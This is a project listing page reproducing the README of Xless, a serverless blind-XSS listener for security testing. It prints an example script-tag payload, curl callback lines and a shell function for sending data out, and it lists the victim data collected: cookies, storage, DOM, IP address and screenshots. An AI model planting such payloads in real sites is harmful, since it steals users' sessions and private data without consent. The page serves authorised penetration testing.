All Projects → mazen160 → Xless

mazen160 / Xless

The Serverless Blind XSS App

Programming Languages

javascript
184084 projects - #8 most used programming language

Projects that are alternatives of or similar to Xless

Frontend Application
💮 ALIS Media - Frontend Application
Stars: ✭ 181 (-5.24%)
Mutual labels:  serverless
Realworld Dynamodb Lambda
λ serverless backend implementation for RealWorld using AWS DynamoDB + Lambda
Stars: ✭ 185 (-3.14%)
Mutual labels:  serverless
Templates
OpenFaaS Classic templates
Stars: ✭ 189 (-1.05%)
Mutual labels:  serverless
Middy
🛵 The stylish Node.js middleware engine for AWS Lambda
Stars: ✭ 2,592 (+1257.07%)
Mutual labels:  serverless
Post Scheduler
Schedule posts & content updates for static websites (Jekyll, Hugo, Gatsby, Phenomic etc)
Stars: ✭ 184 (-3.66%)
Mutual labels:  serverless
Nuxt Netlify Cms Starter Template
⚡ Build server-less, static websites with Vue.js and Netlify CMS.
Stars: ✭ 186 (-2.62%)
Mutual labels:  serverless
Ofc Bootstrap
Bootstrap OpenFaaS Cloud for your team
Stars: ✭ 178 (-6.81%)
Mutual labels:  serverless
Webrtcxss
利用XSS入侵内网(Use XSS automation Invade intranet)
Stars: ✭ 190 (-0.52%)
Mutual labels:  xss
Components
The Serverless Framework's new infrastructure provisioning technology — Build, compose, & deploy serverless apps in seconds...
Stars: ✭ 2,259 (+1082.72%)
Mutual labels:  serverless
Autoserver
Create a full-featured REST/GraphQL API from a configuration file
Stars: ✭ 188 (-1.57%)
Mutual labels:  serverless
Javasecurity
Java web and command line applications demonstrating various security topics
Stars: ✭ 182 (-4.71%)
Mutual labels:  xss
Eventstormingworkshop
EventStorming workshop, this is a hands-on workshop. Contains such topics: DDD, Event storming, Specification by example. Including the AWS product : Serverless Lambda , DynamoDB, Fargate, CloudWatch.
Stars: ✭ 184 (-3.66%)
Mutual labels:  serverless
Elasticpypi
Serverless pypi
Stars: ✭ 186 (-2.62%)
Mutual labels:  serverless
Chrome Aws Lambda
Chromium Binary for AWS Lambda and Google Cloud Functions
Stars: ✭ 2,502 (+1209.95%)
Mutual labels:  serverless
Malagu
Malagu is a Serverless First, component-based, platform-independent, progressive application framework based on TypeScript.
Stars: ✭ 184 (-3.66%)
Mutual labels:  serverless
Aws Serverless Data Lake Framework
Enterprise-grade, production-hardened, serverless data lake on AWS
Stars: ✭ 179 (-6.28%)
Mutual labels:  serverless
Gatsby Plugin S3
Deploy your gatsby site to a S3 bucket.
Stars: ✭ 186 (-2.62%)
Mutual labels:  serverless
Terraform Aws Lambda
Terraform module, which takes care of a lot of AWS Lambda/serverless tasks (build dependencies, packages, updates, deployments) in countless combinations
Stars: ✭ 190 (-0.52%)
Mutual labels:  serverless
Aws Lambda Fastify
Insipired by aws-serverless-express to work with Fastify with inject functionality.
Stars: ✭ 190 (-0.52%)
Mutual labels:  serverless
Awesome Cloudflare
⛅️ Curated list of awesome Cloudflare worker recipes, open-source projects, guides, blogs and other resources.
Stars: ✭ 186 (-2.62%)
Mutual labels:  serverless


Xless
xless

The Serverless Blind XSS App

Maintained Issues Last Commit

ℹ️ About The Project

Xless is a serverless Blind XSS (bXSS) application that can be used to identify Blind XSS vulnerabilities using your own deployed version of the application. There is no need to run a full deployment process; just setup a vercel.com account and run bash deploy.sh. That's it. You now have a fully-running Blind XSS listener that uses Slack to notify you for callbacks.

⚠️ Requirements

  • vercel.com account: Vercel provides a free plan for serverless. If you use another provider for serverless, code changes should be minimal.
  • Slack Incoming Webhook URL.
  • IMGBB (free) Account and API key - for the screenshots.

🚀 Deployment

  1. Run bash deploy.sh
$ bash deploy.sh

> Deploying ~/xless under X
> https://custom-xless-deployment.vercel.app [v2] [in clipboard] [4s]
> Success! Deployment ready [4s]
  1. Use the URL for blind XSS testing 🔥

Xless will automatically serve the XSS payload, collect information, and exfiltrate it into your serverless app, which is then sent right to you in Slack.

💬 Example Payload

<script src="https://custom-xless-deployment.vercel.app"></script>

👀 Demo

Demo

📨 Collected Data

  • Cookies
  • User-Agent
  • HTTP Referrer
  • Browser DOM
  • Browser Time
  • Document Location
  • Origin
  • LocalStorage
  • SessionStorage
  • IP Address
  • Screenshot

📡 Out-of-Band (OOB) Callbacks Listener

Xless also works as an OOB (Out-of-Band) callbacks listener for HTTP/HTTPS requests. Any HTTP GET request that is sent to non-parent path will be alerted.

👀 Demo

$ curl https://custom-xless-deployment.vercel.app/callback-canary

OOB CallBack Listener Demo

Or anything random, such as:

$ curl https://custom-xless-deployment.vercel.app/88bf0ecd

👨‍⚕️ Health Check

Xless provides a /health endpoint to let you know that everything is configured correctly. The current tests are the existance of the API keys and a successful image upload to IMGBB.

Example Blind XSS payloads

You can view a number of handy XSS payloads for your xless app at $URL/examples

  • URL: https://custom-xless-deployment.vercel.app/examples Once you deploy your app, you can find the examples there.

📩 Scriptable Messages

You can use Xless to send direct messages to your listener. It can be useful in data exfiltration or as a scriptable way to send messages and alerts to your Slack app.

# on your (bashrc / zshrch) file:
function xless() {
  curl -s https://custom-xless-deployment.vercel.app/message --data "text=$1"
}

Contribution

Contribution is very welcome. Please share your ideas by Github issues and pull requests.

Here are some ideas to start with:

  1. Enabling sharing of page screenshot.
  2. Scriptable message.
  3. Your idea of a new feature?

Acknowledgement

Awesome Similar Projects

Legal Disclaimer

This project is made for educational and ethical testing purposes only. Usage of xless for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

License

The project is currently licensed under MIT License.

Author

Mazin Ahmed

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].